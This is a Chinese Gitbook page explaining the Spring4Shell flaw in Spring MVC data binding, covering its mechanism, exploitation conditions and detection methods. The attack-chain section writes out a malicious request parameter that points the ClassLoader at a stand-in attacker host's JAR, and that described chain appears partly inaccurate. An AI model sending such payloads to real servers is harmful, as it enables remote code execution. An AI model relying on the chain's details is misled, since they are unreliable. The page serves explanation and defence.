Spring4shell 原理&检测&利用

1. Spring4Shell 原理

Spring4Shell 的核心是一个数据绑定(Data Binding)漏洞,利用了 Spring MVC 在处理请求参数时的一个逻辑缺陷

数据绑定是什么? 在 Spring MVC 中,当你向一个 Controller 发送请求时,框架会自动将请求参数(例如 URL 中的查询参数或 POST 请求体)的值,绑定到方法的 Java 对象参数上。这个过程非常方便,但如果绑定过程没有受到严格限制,就会带来安全风险

漏洞的本质 Spring MVC 在数据绑定时,使用了反射来设置对象的属性。攻击者发现,可以通过精心构造的请求参数,利用反射访问并修改一些特殊的对象属性,例如:

  • class 属性:任何 Java 对象都有一个隐藏的 class 属性,可以用来获取该对象的 ClassLoader
  • ClassLoader:这是 Java 虚拟机(JVM)加载类的地方

完整的攻击链

  1. 构造恶意请求:攻击者发送一个 HTTP 请求,其参数名为 class.module.classLoader.URLs[0]=http://attacker-ip/malicious.jar
  2. 数据绑定触发:Spring MVC 收到请求后,会尝试将这个参数绑定到 Controller 方法的 Java 对象上
  3. 反射调用:在绑定过程中,Spring 使用反射,根据 class.module.classLoader 这个路径,一步步获取到应用程序的 ClassLoader 对象
  4. 修改 URL:然后,Spring 会将 attacker-ip/malicious.jar 这个 URL,设置到 ClassLoaderURLs 属性中
  5. 加载恶意类:一旦 ClassLoader 的 URL 被修改,攻击者就可以通过其他请求,让应用程序去加载一个远程的恶意 JAR 包(其中包含可以执行命令的代码)
  6. 远程代码执行(RCE):当恶意 JAR 包中的类被加载到 JVM 中时,其中的恶意代码(通常是静态代码块)会被自动执行,从而实现 RCE。

2. Spring4Shell 利用

这个漏洞的利用需要满足几个特定条件:

  • 依赖:应用程序必须依赖于 Spring Framework 的 5.2.x5.3.x 版本

  • 环境

    • JDK 9+:漏洞利用的原理依赖于 JDK 9+ 引入的 class.module 机制
    • Tomcat Servlet 容器:攻击利用依赖于 Tomcat Servlet 容器,因为它暴露了可被利用的 ClassLoader
  • 控制器(Controller):应用程序中必须有一个 Controller,其方法参数使用了简单的 POJO(Plain Old Java Object)进行数据绑定。例如:

    @PostMapping("/bind")
    public String bind(@ModelAttribute User user) {
        // ...
    }
    

3. Spring4Shell 检测

Spring4Shell 的检测方法可以分为以下几种:

  • 版本检测:最直接的方法是检查应用程序所使用的 Spring Framework 版本和 JDK 版本。如果版本在受影响的范围内(如 Spring 5.2.x - 5.3.x + JDK 9+),则存在风险
  • 流量检测:Web 应用防火墙(WAF)可以检测 HTTP 请求中是否包含与漏洞相关的特征字符串,例如 class.module.classLoader。这是最有效的网络层面检测方法
  • 主动扫描:使用自动化漏洞扫描器(如 NessusOpenVAS)对目标进行扫描。这些扫描器通常集成了对 Spring4Shell 的检测模块
  • 代码审计:通过静态应用安全测试(SAST)工具对源代码进行审计,检查是否使用了存在漏洞的 Spring 版本和数据绑定模式
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:20

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